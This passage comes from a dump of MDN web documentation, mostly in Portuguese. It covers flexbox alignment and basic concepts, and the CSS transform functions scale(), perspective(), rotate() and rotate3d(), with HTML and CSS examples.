`justify-content: center`\n* `justify-content: space-between`\n* `justify-content: space-around`\n* `justify-content: stretch`\n* `justify-content: space-evenly` (not defined in the Flexbox specification)\n\nIn the example below, the value of `justify-content` is `space-between`. The available space after displaying the items is distributed between the items. The left and right item line up flush with the start and end.\n\nIf the main axis is in the block direction because `flex-direction` is set to `column`, then `justify-content` will distribute space between items in that dimension as long as there is space in the flex container to distribute.\n\n### Alignment and Writing Modes\n\nRemember that with all of these alignment methods, the values of `flex-start` and `flex-end` are writing mode-aware. If the value of `justify-content` is `start` and the writing mode is left-to-right as in English, the items will line up starting at the left side of the container.\n\n![Three items lined up on the left](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/basics5.png)\n\nHowever if the writing mode is right-to-left as in Arabic, the items will line up starting at the right side of the container.\n\n![Three items lined up from the right](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/basics6.png)\n\nThe live example below has the `direction` property set to `rtl` to force a right-to-left flow for our items. You can remove this, or change the values of `justify-content` to see how flexbox behaves when the start of the inline direction is on the right.\n\nAlignment and flex-direction\n----------------------------\n\nThe start line will also change if you change the `flex-direction` property — for example using `row-reverse` instead of `row`.\n\nIn this next example I have items laid out with `flex-direction: row-reverse` and `justify-content: flex-end`. In a left to right language the items all line up on the left. Try changing `flex-direction: row-reverse` to `flex-direction: row`. You will see that the items now move to the right hand side.\n\nWhile this may all seem a little confusing, the rule to remember is that unless you do something to change it, flex items lay themselves out in the direction that words are laid out in the language of your document along the inline, row axis. `flex-start` will be where the start of a sentence of text would begin.\n\n![Diagram showing start on the left and end on the right.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/align8.png)\n\nYou can switch them to display in the block direction for the language of your document by selecting `flex-direction: column`. Then `flex-start` will then be where the top of your first paragraph of text would start.\n\n![Diagram showing start at the top and end at the bottom.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/align10.png)\n\nIf you change flex-direction to one of the reverse values, then they will lay themselves out from the end axis and in the reverse order to the way words are written in the language of your document. `flex-start` will then change to the end of that axis — so to the location where your lines would wrap if working in rows, or at the end of your last paragraph of text in the block direction.\n\n![Diagram showing start on the right and end on the left.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/align9.png)\n\n![Diagram showing end at the top and start at the bottom](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/align11.png)\n\nUsing auto margins for main axis alignment\n------------------------------------------\n\nWe don't have a `justify-items` or `justify-self` property available to us on the main axis as our items are treated as a group on that axis. However it is possible to do some individual alignment in order to separate an item or a group of items from others by using auto margins along with flexbox.\n\nA common pattern is a navigation bar where some key items are aligned to the right, with the main group on the left. You might think that this should be a use case for a `justify-self` property, however consider the image below. I have three items on one side and two on the other. If I were able to use `justify-self` on item *d*, it would also change the alignment of item *e* that follows, which may or may not be my intention.\n\n![Five items, in two groups. Three on the left and two on the right.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/align7.png)\n\nInstead we can target item 4 and separate it from the first three items by giving it a `margin-left` value of `auto`. Auto margins will take up all of the space that they can in their axis — it is how centering a block with margin auto left and right works. Each side tries to take as much space as it can, and so the block is pushed into the middle.\n\nIn this live example, I have flex items arranged simply into a row with the basic flex values, and the class `push` has `margin-left: auto`. You can try removing this, or adding the class to another item to see how it works.\n\nFuture alignment features for Flexbox\n-------------------------------------\n\nAt the beginning of this article I explained that the alignment properties currently contained in the Level 1 flexbox specification are also included in Box Alignment Level 3, which may well extend these properties and values in the future. We have already seen one place where this has happened, with the introduction of the `space-evenly` value for `align-content` and `justify-content` properties.\n\nThe Box Alignment module also includes other methods of creating space between items, such as the `column-gap` and `row-gap` feature as seen in CSS Grid Layout. The inclusion of these properties in Box Alignment means that in future we should be able to use `column-gap` and `row-gap` in flex layouts too, and in Firefox 63 you will find the first browser implementation of the gap properties in flex layout.\n\nMy suggestion when exploring flexbox alignment in depth is to do so alongside looking at alignment in Grid Layout. Both specifications use the alignment properties as detailed in the Box Alignment specification. You can see how these properties behave when working with a grid in the MDN article Box Alignment in Grid Layout (en-US), and I have also compared how alignment works in these specifications in my Box Alignment Cheatsheet.\n\nSee Also\n--------\n\n* Box Alignment (en-US)\n* Box Alignment in Flexbox (en-US)\n* Box Alignment in Grid Layout (en-US)"}
{"title":"Conceitos básicos de flexbox - CSS","text":"Conceitos básicos de flexbox\n============================\n\nO *Flexible Box Module*, geralmente chamado de *flexbox*, foi projetado tanto como um modelo de *layout* unidimensional quanto como um método capaz de organizar espacialmente os elementos em uma interface, além de possuir capacidades avançadas de alinhamento. Este artigo fornece um resumo das principais funcionalidades do *flexbox*, as quais exploraremos com mais detalhes no restante deste guia.\n\nQuando se descreve o flexbox como sendo unidimensional, enfatiza-se o fato de que ele lida com *o layout* em uma dimensão de cada vez - seja uma linha ou uma coluna. Isto pode ser comparado com o modelo bidimensional de CSS - Layout de Grade, que permite o controle simultâneo das colunas e linhas.\n\nOs eixos do *flexbox*\n---------------------\n\nAo se utilizar o *flexbox*, é preciso ter em mente que todas as operações realizadas relacionam-se a dois eixos: o eixo principal e o eixo transversal. O eixo principal é definido através da propriedade `flex-direction` e o eixo transversal encontra-se na direção perpendicular a ele. Como esses eixos são as engrenagens fundamentais do flexbox é necessário compreender minuciosamente o seu funcionamento.\n\n### Eixo principal\n\nConforme descrito acima, a propriedade `flex-direction` define a direção do eixo principal e pode tem quatro valores possíveis:\n\n* `row`\n* `row-reverse`\n* `column`\n* `column-reverse`\n\nSe o valor escolhido for `row` (linha) ou `row-reverse` (linha reversa), seu eixo principal se moverá ao longo da linha — na **direção inline**.\n\n![If flex-direction is set to row the main axis runs along the row in the inline direction.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Basic_concepts_of_flexbox/basics1.png)\n\nSe o valor escolhido for `column` (coluna) ou `column-reverse` (coluna reversa) e o eixo principal se moverá do topo até o fim da página — na **direção block**.\n\n![If flex-direction is set to column the main axis runs in the block direction.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Basic_concepts_of_flexbox/basics2.png)\n\n### Eixo transversal\n\nO eixo transversal é perpendicular ao eixo principal, logo, se a propriedade `flex-direction` estiver definida nas linhas, como `row` ou `row-reverse`, o eixo transversal estará na direção das colunas, como `column` ou `column-reverse`.\n\n![If flex-direction is set to row then the cross axis runs in the block direction.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Basic_concepts_of_flexbox/basics3.png)\n\nSe o eixo principal for definido nas colunas, como `column` ou `column-reverse`, então o eixo transversal estará na direção das linhas, como `row` ou `row-reverse`.\n\n![If flex-direction is set to column then the cross axis runs in the inline direction.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Basic_concepts_of_flexbox/basics4.png)\n\nCompreender a diferença entre os eixos principal e perpendicular é o que importa quando começamos a observar o alinhamento ou justificação dos itens flexíveis (flex items); o *flexbox* possui propriedades que alinham e justificam o conteúdo ao longo de um eixo ou de outro.\n\nLinhas de Início e Fim\n----------------------\n\nOutra área crítica em termos de compreensão é como o Flexbox não faz nenhuma premissa sobre o modo de escrita do documento. No passado, o CSS utilizava fortemente os modos de escrita horizontal e da esquerda para a direita. Métodos modernos de layout abrangem uma variedade de modos de escrita e, portanto, não assumimos mais que uma linha de texto começará no canto superior esquerdo do documento e sigará para o lado direito, com novas linhas aparecendo uma após a as outra.\n\nEssa discussão sobre a relação entre o *flexbox* e a especificação do modo de escrita será abordada um artigo posterior, contudo, a descrição a seguir explica brevemente porque não se fala sobre esquerda e direita/ acima e abaixo quando descreve-se a direção para a qual os elementos *flex* fluem.\n\nSe o valor da propriedade `flex-direction` for `row (linha)`, considerando o estilo de escrita ocidental, a borda inicial do eixo principal estará localizada à esquerda e a borda final, à direita.\n\n![Working in English the start edge is on the left.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Basic_concepts_of_flexbox/basics5.png)\n\nConsiderando um idioma como o Árabe, que possui um estilo de escrita oriental, teremos o inverso: a borda inicia do eixo principal estará localizada à direita e a borda final, à esquerda.\n\n![The start edge in a RTL language is on the right.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Basic_concepts_of_flexbox/basics6.png)\n\nEm ambos os casos, a borda inicial do eixo transversal está na parte superior do contêiner flex e a borda final, na parte inferior, visto que ambos os idiomas têm um estilo de de escrita horizontal.\n\nApós um tempo de prática, pensar em termos de início e final ao invés de esquerda e direita se tornará natural e será útil ao lidar com outros métodos de layout, como CSS Grid, que seguem os mesmos padrões.\n\nContêiner *Flex*\n----------------\n\nA área de um documento que faz uso do *flexbox* é chamada de **contêiner *flex***. Para criar essa estrutura, define-se o valor da propriedade `display` do elemento representado pelo contêiner como `flex` ou `inline-flex`. Desse modo, os elementos-filhos desse contêiner tornar-se-ão do tipo *flex*. Como todas as propriedades no CSS possuem valores padrão, ao criar um contêiner flex, os elementos nele contidos apresentarão o seguinte comportamento:\n\n* Exibição em linha (o padrão do `flex-direction` é `row`).\n* Alinhamento na borda inicial do eixo principal.\n* Não há expansão no eixo principal, mas pode haver contração.\n* Haverá expansão vertical para preencher a altura do eixo transversal.\n* A propriedade `flex-basis` (en-US) estará definida como `auto`.\n* A propriedade `flex-wrap` estará definida como `nowrap`.\n\nO resultado final é que todos os elementos serão alinhados em uma linha, usando o tamanho do conteúdo como o tamanho no eixo principal. Se houver mais itens do que é possível caber no container, não haverá uma quebra de linha; ao invés disso, irão ultrapassar o limite horizontal da página. Se alguns elementos forem mais altos que outros, todos os itens se estenderão ao longo do eixo transversal para preencher seu tamanho total.\n\nÉ possível conferir essas questões no exemplo prático abaixo. Tente editar ou adicionar mais itens para testar o comportamento inicial do Flexbox.\n\n### Propriedade *`flex-direction`*\n\nA propriedade `flex-direction` permite alterar a direção na qual os elementos flex serão exibidos ao longo do eixo principal. Definindo a propriedade `flex-direction` como `row-reverse` (linha reversa) ainda teremos os elementos dispostos em uma linha, entretanto, as linhas inicial e final serão trocadas.\n\nSe mudarmos a `flex-direction` para a `column` (coluna), o eixo principal exibirá os elemento em uma coluna. Trocando o valor para `column-reverse` (coluna reversa) fará com que as linhas inicial e final sejam novamente trocadas.\n\nNo exemplo prático abaixo tem-se a propriedade `flex-direction` definida como `row-reverse`. Experimente os outros valores - `row`, `column` e `column-reverse` - para ver o que acontece com o conteúdo.\n\nQuebra de linha com *\"**flex-wrap**\"*\n-------------------------------------\n\nEmbora o *flexbox* seja um modelo unidimensional, é possível fazer com que elementos *flex* sejam agrupados em múltiplas linhas. Ao fazer isso, considera-se cada linha como um novo contêiner *flex*. Qualquer distribuição espacial ocorrerá ao longo essa linha, sem referência às linhas de ambos os lados. Para gerar a quebra automática das linhas adicione a propriedade `flex-wrap` com o valor `wrap`. Assim, se elementos forem muito grandes para serem exibidos em uma única linha, eles serão agrupados em outras linhas.\n\nO exemplo prático abaixo contém elementos *flex* aos quais foi dada uma determinada largura, cuja soma totaliza um valor grande demais para caber no container. Visto que a propriedade `flex-wrap` está definida como `wrap`, os itens serão reorganizados em mais de uma linha. Trocando-se para `nowrap`, que também é o valor inicial, eles encolherão para caber no contêiner, porque estão usando valores iniciais de flexbox que permitem que os itens encolham. O uso do `nowrap` causaria um vazamento se os itens não encolhessem ou não diminuíssem o suficiente para caber.\n\nSaiba mais sobre o empacotamento de itens flexíveis no guia Masterização de Empacotamento de Itens Flexíveis (en-US) (em Inglês).\n\nPropriedade abreviada *flex-flow*\n---------------------------------\n\nPode-se combinar as propriedades `flex-direction` e `flex-wrap` de forma abreviada através da propriedade `flex-flow`. O primeiro valor especificado é o `flex-direction` e o segundo valor é o `flex-wrap`.\n\nNo exemplo prático abaixo, tente alterar o primeiro valor para um dos valores permitidos para a propriedade `flex-direction` - `row`, `row-reverse`, `column` ou `column-reverse`, e também altere o segundo para `wrap` e `nowrap`.\n\nExpansão, encolhimento e tamanho dos elementos *flex*\n-----------------------------------------------------\n\nPara ter mais controle sobre os elementos *flex* é possível alterá-los diretamente utilizando as três propriedades abaixo:\n\n* `flex-grow` (en-US)\n* `flex-shrink` (en-US)\n* `flex-basis` (en-US)\n\nNa presente seção, examinar-se-á brevemente tais propriedades. Para se aprofundar neste conteúdo sugere-se o tutorial Taxas de Controle de Elementos Flex ao Longo do Eixo Principal (en-US) (em inglês).\n\nAntes que essas propriedades possam fazer sentido, é preciso compreender o conceito de **espaço disponível**. Quando se modifica o valor das propriedades acima, altera-se a forma que o espaço disponível é distribuído entre os elementos. Tal conceito de espaço disponível também é relevante quando se trata do alinhamento.\n\nConforme o exemplo abaixo, se houver três elementos com 100 pixels de comprimento em um contêiner de 500 pixels, então o espaço total necessário para acomodá-los será de 300 pixels. Desse modo, sobrarão 200 pixels de espaço útil. Se os valores iniciais não forem modificados, então o *flexbox* posicionará esse espaço após o último item.\n\n![This flex container has available space after laying out the items.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Basic_concepts_of_flexbox/basics7.png)\n\nSe for necessário que os elementos cresçam proprocionamente ou não e preencham o espaço disponível, deverá haver método que faça essa distribuição espacial entre eles, conforme será visto nas seções subsequentes.\n\n### Propriedade *`flex-basis`*\n\nA propriedade `flex-basis` define o tamanho inicial dos elementos, em unidades de *pixel*, antes que o espaço remanescente seja redistribuído. O valor inicial desta propriedade é `auto` — neste caso o navegador observa se os itens possuem o mesmo tamanho. No exemplo acima, todos os itens têm uma largura de 100 pixels, que é utilizada como padrão na propriedade `flex-basis`.\n\nSe os elementos não possuírem um tamanho padrão, então as dimensões dos seus conteúdos (imagem, texto, etc) serão passadas como parâmetro para propriedade flex-basis. É por isso que quando escreve-se `display: flex` no elemento-pai para criar o contêiner, todos os elementos-filhos se organizam em linha e ocupam apenas o espaço necessário para exibir seu conteúdo.\n\n### Propriedade *`flex-grow`*\n\nCom a propriedade `flex-grow` definida como um inteiro positivo, os elementos *flex* podem crescer ao longo do eixo principal, a partir do valor mínimo estabelecido no `flex-basis`. Isto fará com que o elemento se estique e ocupe qualquer espaço disponível nesse eixo ou uma proporção dele, caso outros elementos-irmãos também possam crescer.\n\nAtribuir o valor 1 à propriedade `flex-grow` fará com que o espaço disponível no contêiner *flex* seja igualmente distribuído entre todos os elementos do exemplo acima. Logo, os elementos-filhos irão se expandir para preencher o contêiner no sentido do eixo principal.\n\nComo visto no parágrafo anterior, a propriedade `flex-grow` pode ser empregada para distribuir o espaço proporcionalmente entre os elementos de um contêiner, contudo, se atribuirmos ao primeiro elemento o valor 2 e 1 aos elementos restantes, duas partes serão dadas ao primeiro elemento (100px de 200px totais) e uma parte para cada um dos outros dois elementos (50px de 200px totais).\n\n### Propriedade `flex-shrink`\n\nEnquanto a propriedade `flex-grow` permite aumentar a largura dos elementos dentro do contêiner para completar o espaço disponível no eixo principal, a propriedade `flex-shrink` faz o oposto, controlando a redução dos mesmos. Caso não haja espaço suficiente para acomodar todos os elementos e o valor da propriedade `flex-shrink` seja um inteiro positivo, a largura pode ser reduzida a um valor menor do que a definida na propriedade `flex-basis`. Assim como na propriedade flex-grow, diferentes valores podem ser atribuídos a um elemento de modo que ele encolha mais do que os outros - um elemento cuja propriedade `flex-shrink` receba um valor inteiro maior irá diminuir mais do que os seus irmão que tenham valores menores.\n\nO tamanho mínimo do elemento será levado em consideração ao se calcular a quantidade real de encolhimento que ocorrerá, o que significa que a propriedade flex-shrink se comporta de modo potencialmente menos consistente do que a propriedade flex-grow. Examinar-se-á mais detalhadamente o funcionamento desse algoritmo no artigo Taxas de Controle de Elementos Flex ao Longo do Eixo Principal.\n\n**Nota:** Note que os valores para as propriedades `flex-grow` e `flex-shrink` são proporcionais. Particularmente, se tivermos todos os nossos elementos definidos como flex: `1 1 200px` e então quisermos que um deles cresça o dobro, temos de definir o elemento como flex: `2 1 200px`. Entretanto, podemos escrever flex: `10 1 200px` e flex: `20 1 200px` se quisermos.\n\n### Abreviatura para os valores das propriedades flex\n\nAs propriedades `flex-grow`, `flex-shrink`, and `flex-basis` raramente são empregas de forma individual. Usualmente, elas são combinadas através da propriedade de abreviação `flex`. A abreviatura `flex` permite definir os três valores na seguinte ordem: `flex-grow`, `flex-shrink`, `flex-basis`.\n\nO exemplo prático abaixo permite que sejam testados diferentes valores com a propriedade de abreviação `flex`; lembre-se que o primeiro campo corresponde à propriedade `flex-grow`, onde um valor inteiro e positivo faz-se o elemento crescer. O segundo campo é a propriedade `flex-shrink` e, ao contrário do anterior, um valor inteiro e positivo pode fazer os elementos encolherem, mas somente se o seu comprimento total ultrapassar o limite horizontal do contêiner, no sentido do eixo principal. O último campo contém a propriedade `flex-basis`, que define o valor base, em unidades de *pixel*, para aumentar e diminuir o elemento quando da aplicação das propriedades anteriores.\n\nHá ainda alguns valores de abreviação predefinidos, que cobrem a maioria dos casos de uso. São aplicados com frequência em turoriais e, normalmente, suprem todas as necessidades práticas. Os valores predefinidos podem ser vistos abaixo:\n\n* `flex: initial`\n* `flex: auto`\n* `flex: none`\n* `flex: <positive-number>`\n\nDefinir `flex: initial` reseta os elementos para valores-padrão do Flexbox, sendo equivale a `flex: 0 1 auto`. Neste ultimo caso, o valor da propriedade `flex-grow` é 0, então os elementos não irão crescer mais do que o tamanho-base definido na propriedade `flex-basis`. o valor da propriedade `flex-shrink` é 1, indicando que o elemento pode ser reduzido caso seja necessário, para evitar que o limite do contêiner seja ultrapassado. Por fim, o valor da propriedade `flex-basis` é `auto` e assim será usad o tamanho mínimo necessário para preencher a dimensão do eixo principal.\n\nDefinir `flex: auto` é equivalente a `flex: 1 1 auto`. Essa configuração é semelhante a `flex:initial`, mas nesse caso os elementos podem aumentar para preencher o contêiner ou diminuir se necessário, para evitar o transbordamento lateral da tela.\n\nDefinir `flex: none` irá criar um elemento flex totalmente inflexível, sendo o equivalente a escrever `flex: 0 0 auto`. O elementos não poderão crescer ou diminuir, mas serão criados usando o *flexbox* com a propriedade `flex-basis` com o valor `auto`.\n\nOutra abreviação normalmente vista em tutoriais é `flex: 1` ou `flex: 2` e assim por diante, o que equipara-se a `flex: 1 1 0`. Os elementos podem crescer ou diminuir a partir da propriedade `flex-basis` com valor nulo.\n\nTeste essas formas abreviadas no exemplo prático abaixo:\n\nAlinhamento, justificação e distribuição de espaço livre entre os elementos\n---------------------------------------------------------------------------\n\nUm atributo chave do *flexbox* é a capacidade de alinhar e justificar os elementos *flex* nos eixos principal e transversal e distribuir o espaço entre eles.\n\n### Propriedade `align-items`\n\nA propriedade `align-items` irá alinhar os elementos no eixo transversal.\n\nO valor inicial desta propriedade é `stretch` e é por essa razão que, por padrão, os elementos *flex* se estendem até a maior altura. De fato, eles se esticam para preencher o contêiner flex - o item mais alto define a altura deste.\n\nPode-se definir a propriedade `align-items` como `flex-start`, de modo que os elementos fiquem alinhados com topo do contêiner, `flex-end` para alinhá-los a partir da base ou `center`, para que o alinhamento seja centralizado.\n\nTeste essa propriedade e seus possíveis valores no exemplo prático abaixo — colocou-se uma determinada altura no contêiner flex, de modo que se perceba como os elementos podem ser movidos no interior do mesmo. Veja o que acontece ao definir cada um dos possíveis valores da propriedade **align-items**:\n\n* `stretch`\n* `flex-start`\n* `flex-end`\n* `center`\n\n### Propriedade `justify-content`\n\nA propriedade `justify-content` (en-US) é empregada para alinhar os elementos ao longo do eixo principal, cuja direção (`row` ou `column`) é definida a partir da propriedade `flex-direction`. O valor inicial é `flex-start`, que alinha os elementos rente à borda esquerda do contêiner, mas também pode ser definido como `flex-end`, que resulta em um alinhamento oposto, rente à borda direita do contêiner, ou `center`, para alinhá-los ao centro.\n\nO valor `space-between` pode ser usado pode ser usado para ocupar todo o espaço livre após a disposição dos itens e dividí-lo igualmente entre os itens, para que haja a mesma quantidade de espaço entre cada elemento. Para gerar uma quantidade igual de espaço à direita e à esquerda, usa-se o valor `space-around`.\n\nTente os seguintes valores da propriedada `justify-content` no exemplo prático abaixo:\n\n* `stretch`\n* `flex-start`\n* `flex-end`\n* `center`\n* `space-around`\n* `space-between`\n\nNo artigo Alinhando Elementos em um Contêiner Flex (em inglês) tais propriedades serão abordadas mais detalhadamente, de modo a compreender melhor o seu funcionamento. Contudo, os exemplos simples abordados aqui serão úteis na maioria dos casos.\n\nPróximos passos\n---------------\n\nApós ler este artigo, você deve ser capaz de compreender as características básicas do Flexbox. No próximo artigo, iremos examinar como essa especificação se relaciona com outras partes do CSS (en-US) (em inglês)."}
{"title":"scale() - CSS","text":"scale()\n=======\n\nA função CSS **`scale()`** define uma transformação que redimensiona um elemento no plano 2D. Como o redimensionamento é definido por um vetor, ele pode transformar as dimensões verticais e horizontais em escalas diferentes. Seu resultado é um dado do tipo `<transform-function>` (en-US).\n\n![](/pt-BR/docs/Web/CSS/transform-function/scale/scale.png)\n\nEssa transformação de redimensionamento é caracterizada por um vetor bidimensional. Suas coordenadas definem o quanto cada direção deve ser redimensionada. Se as duas coordenadas forem iguais, o redimensionamento é uniforme (*isotrópico*) e a proporção do elemento é preservada (isto é uma transformação homotética).\n\nQuando o valor de uma coordenada está fora do alcance [-1, 1], o elemento cresce ao longo daquela dimensão; quando está dentro, ele encolhe. Se for negativo, o resultado é um ponto de reflexão naquela dimensão. O valor 1 não tem efeito.\n\n**Nota:** A função `scale()` apenas redimensiona em 2D Para redimensionar em 3D, use `scale3d()` (en-US) ao invés.\n\nSintaxe\n-------\n\nA função `scale()` é especificada com um ou dois valores, que representam a quantidade de redimensionamento a ser aplicada em cada direção.\n```\n\nscale(sx)\n\nscale(sx, sy)\n```\n\n### Valores\n\n`sx`\n\nUm `<number>` representando a abscissa do vetor de redimensionamento.\n\n`sy`\n\nUm `<number>` representando a ordenada do vetor de redimensionamento. Se não for definida, seu valor padrão é`sx`, resultando em um redimensionamento uniforme que preserva a proporção do elemento.\n\n\n\n| Coordenadas cartesianas em ℝ2 | Coordenadas homogêneas em ℝℙ2 | Coordenadas cartesianas em ℝ3 | Coordenadas homogêneas em ℝℙ3 |\n| --- | --- | --- | --- |\n| \n\nsx\n0\n\n0\nsy\n\n | \n\nsx\n 0\n0\n\n0\n sy\n0\n\n0\n0\n1\n\n | \n\nsx\n 0\n0\n\n0\n sy\n0\n\n0\n0\n1\n\n | \n\nsx\n 0\n0\n0\n\n0\nsy\n0\n0\n\n0\n0\n1\n0\n\n0\n0\n0\n1\n\n |\n| `[sx 0 0 sy 0 0]` |\n\nExemplos\n--------\n\n### Redimensionando as dimensões X e Y juntas\n\n#### HTML\n\n\n```html\n<div>Normal</div>\n<div class=\"scaled\">Redimensionado</div>\n```\n\n\n#### CSS\n\n\n```css\ndiv {\n  width: 80px;\n  height: 80px;\n  background-color: skyblue;\n}\n\n.scaled {\n  transform: scale(0.7); /\\* Equal to scaleX(0.7) scaleY(0.7) \\*/\n  background-color: pink;\n}\n```\n\n\n#### Resultado\n\n### Redimensionando dimensões X e Y separadamente e transladando a origem\n\n#### HTML\n\n\n```html\n<div>Normal</div>\n<div class=\"scaled\">Redimensionado</div>\n```\n\n\n#### CSS\n\n\n```css\ndiv {\n  width: 80px;\n  height: 80px;\n  background-color: skyblue;\n}\n\n.scaled {\n  transform: scale(2, 0.5); /\\* Igual a scaleX(2) scaleY(0.5) \\*/\n  transform-origin: left;\n  background-color: pink;\n}\n```\n\n\n#### Resultado\n\nCompatibilidade com navegadores\n-------------------------------\n\nVeja o dado do tipo `<transform-function>` (en-US) para informações de compatibilidade.\n\nVer também\n----------\n\n* `transform`\n* `<transform-function>` (en-US)\n* `scale3d()` (en-US)"}
{"title":"perspective() - CSS","text":"perspective()\n=============\n\nA função CSS **`perspective()`** define uma transformação que configura a distância entre o usuário e o plano z=0. Seu resultado é um dado do tipo `<transform-function>` (en-US).\n\nSintaxe\n-------\n\nA distância de perspectiva usada por`perspective()` é especificada por um valor `<length>` (en-US), que representa a distância entre o usuário e o plano z=0. Um valor positivo faz o elemento parecer mais perto do usuário, e um valor negativo o faz parecer mais longe.\n```\n\nperspective(d)\n```\n\n### Valores\n\n*d*\n\nÉ um `<length>` (en-US) representando a distância do usuário até o plano z=0. Se for 0 ou um valor negativo, nenhuma transformação de perspectiva é aplicada.\n\n\n\n| Coordenadas cartesianas em ℝ2 | Coordenadas homogêneas em ℝℙ2 | Coordenadas cartesianas em ℝ3 | Coordenadas homogêneas em ℝℙ3 |\n| --- | --- | --- | --- |\n| \n Essa transformação se aplica ao espaço 3D e não pode ser representada\n no plano.\n  | \n Essa não é uma transformação linear em ℝ3, e não pode ser\n representada usando uma matriz de coordenadas cartesianas.\n  | \n\n1\n 0\n0\n0\n\n0\n 1\n0\n0\n\n0\n0\n1\n0\n\n0\n0\n\n−1\n /d\n\n1\n\n |\n\nExemplos\n--------\n\n### HTML\n\n\n```html\n<p>Sem perspectiva:</p>\n<div class=\"no-perspective-box\">\n  <div class=\"face front\">A</div>\n  <div class=\"face top\">B</div>\n  <div class=\"face left\">C</div>\n</div>\n\n<p>Com perspectiva (7.5cm):</p>\n<div class=\"perspective-box\">\n  <div class=\"face front\">A</div>\n  <div class=\"face top\">B</div>\n  <div class=\"face left\">C</div>\n</div>\n```\n\n### CSS\n\n\n```css\n.face {\n  position: absolute;\n  width: 100px;\n  height: 100px;\n  line-height: 100px;\n  font-size: 100px;\n  text-align: center;\n}\n\n.no-perspective-box {\n  width: 100px;\n  height: 100px;\n  transform-style: preserve-3d;\n  transform: rotateX(-15deg) rotateY(15deg);\n  margin-left: 100px;\n}\n\n.perspective-box {\n  width: 100px;\n  height: 100px;\n  transform-style: preserve-3d;\n  transform: perspective(7.5cm) rotateX(-15deg) rotateY(15deg);\n  margin-left: 100px;\n}\n\n.top {\n  background-color: skyblue;\n  transform: rotateX(90deg) translate3d(0, 0, 50px);\n}\n\n.left {\n  background-color: pink;\n  transform: rotateY(-90deg) translate3d(0, 0, 50px);\n}\n\n.front {\n  background-color: limegreen;\n  transform: translate3d(0, 0, 50px);\n}\n```\n\n### Resultado\n\nCompatibilidade com navegadores\n-------------------------------\n\nVeja o tipo de dado `<transform-function>` (en-US) para informações de compatibilidade.\n\nVer também\n----------\n\n* `transform`\n* `<transform-function>` (en-US)"}
{"title":"rotate() - CSS","text":"rotate()\n========\n\nA função CSS **`rotate()`** define uma transformação que gira um elemento em torno de um ponto fixo no plano 2D, sem deformá-lo. O resultado é um tipo de dados `<transform-function>` (en-US).\n\n![](/pt-BR/docs/Web/CSS/transform-function/rotate/rotate.png)\n\nO eixo de rotação passa por uma origem, definido pela propriedade CSS `transform-origin`.\n\nSintaxe\n-------\n\nA quantidade de rotação criada por `rotate()` é especificado por um `<angle>` (en-US). Se positivo, o movimento será no sentido horário; Se negativo, ela será no sentido anti-horário. Uma rotação de 180° é chamada de *point reflection* (reflexão do ponto).\n```\n\nrotate(a)\n```\n\n### Valores\n\n`a`\n\nÉ um `<angle>` (en-US) representando o ângulo da rotação. Um ângulo positivo indica uma rotação no sentido horário, um ângulo negativo no sentido anti-horário.\n\n\n\n| Coordenadas cartesianas em ℝ2 | Coordenadas homogêneas em ℝℙ2 | Coordenadas cartesianas em ℝ3 | Coordenadas homogêneas em ℝℙ3 |\n| --- | --- | --- | --- |\n| \n\ncos(a)\n-sin(a)\n\nsin(a)\ncos(a)\n\n | \n\ncos(a)\n-sin(a)\n0\n\nsin(a)\ncos(a)\n0\n\n0\n0\n1\n\n | \n\ncos(a)\n-sin(a)\n0\n\nsin(a)\ncos(a)\n0\n\n0\n0\n1\n\n | \n\ncos(a)\n-sin(a)\n0\n0\n\nsin(a)\ncos(a)\n0\n0\n\n0\n0\n1\n0\n\n0\n0\n0\n1\n\n |\n| `[cos(a) sin(a) -sin(a) cos(a) 0 0]` |\n\nExemplos\n--------\n\n### HTML\n\n\n```html\n<div>Normal</div>\n<div class=\"rotated\">Rotated</div>\n```\n\n### CSS\n\n\n```css\ndiv {\n  width: 80px;\n  height: 80px;\n  background-color: skyblue;\n}\n\n.rotated {\n  transform: rotate(45deg); /\\* Equal to rotateZ(45deg) \\*/\n  background-color: pink;\n}\n```\n\n### Resultado\n\nCompatibilidade do navegador\n----------------------------\n\nPor favor, veja o tipo de dados `<transform-function>` (en-US) para informações de compatibilidade.\n\nVeja também\n-----------\n\n* `transform`\n* `<transform-function>` (en-US)\n* `rotate3d()`"}
{"title":"rotate3d() - CSS","text":"rotate3d()\n==========\n\nA função CSS **`rotate3d()`** define uma transformação que gira um elemento em torno de um eixo fixo no espaço 3D, sem deformá-lo. Seu resultado é um dado do tipo `<transform-function>` (en-US).\n\nNo espaço 3D, rotações têm três graus de liberdade que, juntos, descrevem um único eixo de rotação. O eixo de rotação é definido por um vetor [x, y, z] e passado pela origem (como definido pela propriedade `transform-origin`). Se, como especificado, o vetor não for *normalizado* (isto é, se a soma dos quadrados das suas três coordenadas não for 1), o user agent (en-US) irá normalizá-lo internamente. Um vetor não-normalizável, como o vetor nulo [0, 0, 0], fará com que a rotação seja ignorada, mas sem invalidar toda a propriedade CSS.\n\n**Nota:** Diferente de rotações no plano 2D, a composição de rotações 3D normalmente não é comutativa. Em outras palavras, a ordem na qual as rotações são aplicadas impacta o resultado.\n\nSintaxe\n-------\n\nA quantidade de rotação criada por `rotate3d()` é especificada por três `<number>` e um `<angle>` (en-US). Os `<number>` representam as coordenadas x, y e z do vetor, denotando o eixo de rotação. O `<angle>` representa o ângulo de rotação; se positivo, o movimento será no sentido horário; se negativo, será no sentido anti-horário.\n```\n\nrotate3d(x, y, z, a)\n```\n\n### Valores\n\n`x`\n\nÉ um `<number>` descrevendo a coordenada x do vetor denotando o eixo de rotação que pode ser entre 0 e 1.\n\n`y`\n\nÉ um `<number>` descrevendo a coordenada y do vetor denotando o eixo de rotação que pode ser entre 0 e 